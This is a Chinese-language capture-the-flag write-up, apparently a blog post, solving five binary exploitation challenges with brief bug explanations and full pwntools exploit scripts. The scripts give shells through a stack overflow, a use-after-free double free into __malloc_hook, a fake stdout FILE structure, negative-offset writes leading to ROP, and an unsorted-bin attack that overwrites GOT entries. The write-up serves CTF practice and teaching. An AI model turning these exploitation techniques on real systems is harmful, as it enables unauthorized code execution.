最近這個打stdout的題真多。這個比賽沒打。拿到附件作了一天。
choice
32位,libc-2.23-i386,nbytes初始值為0x14,讀入0x804A04C 0x14字節后會覆蓋到nbytes 1個字節。當再次向v1讀入nbytes字節時會造成溢出。
先寫0x14+p8(0xff)覆蓋到nbytes然后溢出寫傳統的兩回合puts(got.puts) ,system(bin/sh)?
from pwn import *elf = ELF('./choice')
libc = ELF('./libc-2.23.so')
p = process('./choice')
context(arch='i386', log_level='debug')p.sendafter(b"Please enter your name:\n", b'A'*0x14 + p8(0xff)) #nbytes=0xffpay = flat([b'\x00'*(28+4), elf.plt['puts'], 0x804857b, elf.got['puts']])p.sendlineafter(b"3. Study hard from now\n", b'2')
p.sendafter(b"Cool! And whd did you choice it?\n", pay)p.recvuntil(b"Good bye!\n")
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")pay = flat([b'\x00'*(28+4), libc.sym['system'], 0x804857b, next(libc.search(b'/bin/sh\x00'))])
p.sendafter(b"Cool! And whd did you choice it?\n", pay)p.interactive()
uafNote
標準的菜單堆題有add,free,show, libc-2.23都是低版本的libc有點像是古代的題重拿回來了。
在free沒有清指針有UAF,通過名字也能知道。add建塊也沒有大小限制,所以直接建0x80的塊釋放show得到libc地址,然后1-2-1進行double free在malloc前利用錯位的0x7f建塊在malloc寫one
void delete()
{unsigned int num; // [rsp+Ch] [rbp-4h]printf("index:");num = read_num();if ( num <= 0xF )free((void *)ptr_table[num]);
}
from pwn import *elf = ELF('./uafNote')
libc = ELF('./libc-2.23.so')def add(size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"size:", str(size).encode())p.sendlineafter(b"content:", msg)def free(idx):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"index:", str(idx).encode())def show(idx):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"index:", str(idx).encode())p = process('./uafNote')
context(arch='amd64', log_level='debug')add(0x80)
add(0x60)
add(0x60)free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")#double free malloc->one
one = [0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + one[1]
free(1)
free(2)
free(1)
add(0x60, p64(libc.sym['__malloc_hook'] - 0x23))
add(0x60)
add(0x60)
add(0x60, b'\x00'*0x13 + p64(one_gadget))#
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"size:", b'8')p.interactive()
bss2019
這是2019年的題吧,先給了加載地址,相當于沒開pie
__int64 __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);puts("Gift:");printf("%p\n", &unk_202060);sub_9E0();return 0LL;
}
然后進入菜單,1是show,可以指定負值,2是edit也可以指定負值最小-64
基地址0x202060的前邊0x202020就是stdout通過造一個fake_io_file,然后把stdout指過來。也算是個板子題了。
from pwn import *elf = ELF('./bss2019')
libc = ELF('./libc-2.23.so')
context(arch='amd64', log_level='debug')p = process('./bss2019')p.recvuntil(b"Gift:\n")
elf.address = int(p.recvline(),16) - 0x202060p.sendlineafter(b"Choice:", b'1')
p.sendlineafter(b"Offset:\n", b'-64')
p.recvuntil(b"This is your data:\n")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
print(f"{elf.address = :x} {libc.address = :x}")#gdb.attach(p, "b*0x0000555555400b65\nc")
io_file = b' sh;'+p32(0) + p64(0)*4 + p64(1)
io_file = io_file.ljust(0x88,b'\x00') + p64(elf.address + 0x202200)
io_file = io_file.ljust(0xd8,b'\x00') + p64(elf.address + 0x202050 + 0xd8) #ptr->self
io_file += b'\x00'*0x30 + p64(libc.sym['system'])p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-16')
p.sendlineafter(b"Size:\n", str(len(io_file)).encode())
p.sendlineafter(b"Input data:", io_file)p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-64')
p.sendlineafter(b"Size:\n", b'8')
p.sendlineafter(b"Input data:", p64(elf.address +0x202050))p.interactive()
'''
0x555555602020 <stdout>: 0x0000555555602050 0x0000000000000000
0x555555602030 <stdin>: 0x00007ffff7bc48e0 0x0000000000000000
0x555555602040 <stderr>: 0x00007ffff7bc5620 0x0000000000000000
0x555555602050: 0x000000003b687320 0x0000000000000000 <-- ' sh;\0\0\0\0\'
0x555555602060: 0x0000000000000000 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000001
0x555555602080: 0x0000000000000000 0x0000000000000000
0x555555602090: 0x0000000000000000 0x0000000000000000
0x5555556020a0: 0x0000000000000000 0x0000000000000000
0x5555556020b0: 0x0000000000000000 0x0000000000000000
0x5555556020c0: 0x0000000000000000 0x0000000000000000
0x5555556020d0: 0x0000000000000000 0x0000555555602200 <-- 指向0
0x5555556020e0: 0x0000000000000000 0x0000000000000000
0x5555556020f0: 0x0000000000000000 0x0000000000000000
0x555555602100: 0x0000000000000000 0x0000000000000000
0x555555602110: 0x0000000000000000 0x0000000000000000
0x555555602120: 0x0000000000000000 0x0000555555602128 <--指向自己
0x555555602130: 0x0000000000000000 0x0000000000000000
0x555555602140: 0x0000000000000000 0x0000000000000000
0x555555602150: 0x0000000000000000 0x0000000000000000
0x555555602160: 0x00007ffff7845390 <-- system
'''
前兩天一個c00edit也是這個stdout的題一并拿過來
c00edit
菜單題,但是只有add和edit兩個功能
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{__int64 v3; // rdx__int64 result; // raxwhile ( 2 ){sub_12A9();switch ( sub_12FE(a1, a2) ){case 1LL:m1add();continue;case 2LL:case 4LL:a1 = "Not implemented!";puts("Not implemented!");continue;case 3LL:m3edit((__int64)a1, (__int64)a2, v3);continue;case 5LL:result = 0LL;break;default:puts("invalid choice");result = 0xFFFFFFFFLL;break;}break;}return result;
}
add先建一個管理塊,管理塊是size,ptr 。edit在idx和offset都沒限制負值,所以可以前溢出,唯一麻煩的是每次只能寫8字節。如果寫stdout也就只能改一個位置。
int __fastcall sub_13CA(__int64 a1, __int64 a2, __int64 a3)
{const char *v3; // rdi__int64 v4; // rdx__int64 v5; // rbp__int64 v6; // rbxint result; // eaxv3 = "No chance!";if ( dword_40E0 > 16 )return puts(v3);__printf_chk(1LL, "Index: ", a3);v3 = "Invalid index!";v5 = sub_12FE(1LL, "Index: ");if ( !*((_QWORD *)&qword_4060 + v5) )return puts(v3);__printf_chk(1LL, "Offset: ", v4);v6 = sub_12FE(1LL, "Offset: ");if ( v6 + 7 >= **((_QWORD **)&qword_4060 + v5) ){v3 = "Invalid offset!";return puts(v3);}__printf_chk(1LL, "Content: ", v6 + 7);result = read(0, (void *)(*(_QWORD *)(*((_QWORD *)&qword_4060 + v5) + 8LL) + v6), 8uLL);++dword_40E0;return result;
}
首先利用指針前溢出指向stdout,在stdout頭部的標識和指針當作是管理塊的地址利用負偏移修改頭和io_write_end輸出得到libc
#0x7ffff7e1a780 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7e1a803
然后再將這個位置改到environ輸入棧地址,由于棧地址比較遠需要輸出的部分較長。
然后建個塊,把管理塊的指針改為棧的返回地址,直接寫rop
from pwn import *p = process('./chall')
libc = ELF('./libc.so.6')context(arch='amd64', log_level= 'debug')def add():p.sendlineafter(b"Your choice: ", b'1')def edit(idx,off,msg):p.sendlineafter(b"Your choice: ", b'3')p.sendlineafter(b"Index: ", str(idx).encode())p.sendlineafter(b"Offset: ", str(off).encode())p.sendafter(b"Content: ", msg)#0x7ffff7e1a780 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7e1a803
edit(-8, -0x83, p64(0xfbad1887))
edit(-8, -0x83+0x28, p8(0x10)) #_IO_write_end p.recv(5)
libc.address = u64(p.recv(8)) - 0x21ba70
print(f"{ libc.address = :x}")#gdb.attach(p, "b*0x555555555180\nc")edit(-8, -0x83+0x28, p64(libc.sym['environ']+8))
stack = u64(p.recvuntil(b'1. add', drop=True)[-8:]) - 0x120
print(f"{ stack = :x}")pop_rdi = libc.address + 0x000000000002a3e5
rop = [pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']]
for i in range(len(rop)):add()edit(i, -0x18, p64(stack + i*8))edit(i, 0, p64(rop[i]))p.sendlineafter(b"Your choice: ", b'5')
p.interactive()
fake
這題據說是個0解題,終于解出來。
一個菜單題,但建塊的大小是固定的0x1000,并且沒有show,釋放后會進入unsort再建塊會用掉,而且unsort attack由于并未得到libc所以也就無法修改global_max_fast也就無法用fastbin attack.
這里有一個不常用的攻擊unsort attack一般情況下通過修改bk會在指定位置寫一個指針(unsort寺址)這個地址是固定的,所以一般無法直接實現攻擊。
先看正常情況下的unsort結構,釋放到unsort的塊fp,bk兩個指針指向4b78的位置,在4b88的位置也有兩個指針指向釋放到unsort的塊。實際上只使用bk這個指針。
首先進行unsort attack在0x60b018的位置寫入一個指針區的地址,將來會有一個4b78的值會寫到指針區,控制4b78開始的一塊區域。
?
有開始的時候寫passwd時可以在0x6020f0寫個0x1010作為頭標識(unsort建塊時會檢查頭大小)將0x6020e8作為unsort的塊,那么剛寫的這個指針就在bk的位置
?
這時候heap[0]可以控制unsort的指針區,修改指針區,讓他指向6020e8,這時候就作成了一個偽造好的unsort
這時候再建塊就會建到偽造的heap指針區前邊,控制指針區,也就可以達到任意讀寫的目的了。
后邊直接寫3個指針,一個指向got.free?將來把它改成plt.puts+6得到libc,第2個指針指向puts將來泄露用,第3個指針指向/bin/sh,將free改成system后直接釋放它得到shell
from pwn import *elf = ELF('./fake')
libc = ELF('./libc-2.23.so')def add(idx,msg=b'A'):p.sendlineafter(b'Your choice:', b'1')p.sendlineafter(b"Index:", str(idx).encode())p.sendlineafter(b"Content:", msg)def free(idx):p.sendlineafter(b'Your choice:', b'3')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx, msg):p.sendlineafter(b'Your choice:', b'2')p.sendlineafter(b"Index:", str(idx).encode())p.send(msg)p = process('./fake')
context(arch='amd64', log_level='debug')p.sendafter(b"Enter your password:\n", flat(0,0,0x1010))add(0)
add(1)
free(0)edit(0, flat(0,0x6020f0))
add(2)
edit(0, flat(0,0,0x6020e8,0x6020e8))
add(3, flat(0,0x602018,0x602020,0x602118, b'/bin/sh\x00'))
#0->got.free 1->got.puts
edit(0, p64(elf.plt['puts']+6)[:-1]) #free->puts
free(1)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")edit(0, p64(libc.sym['system'])[:-1]) #free->systemfree(2)
p.interactive()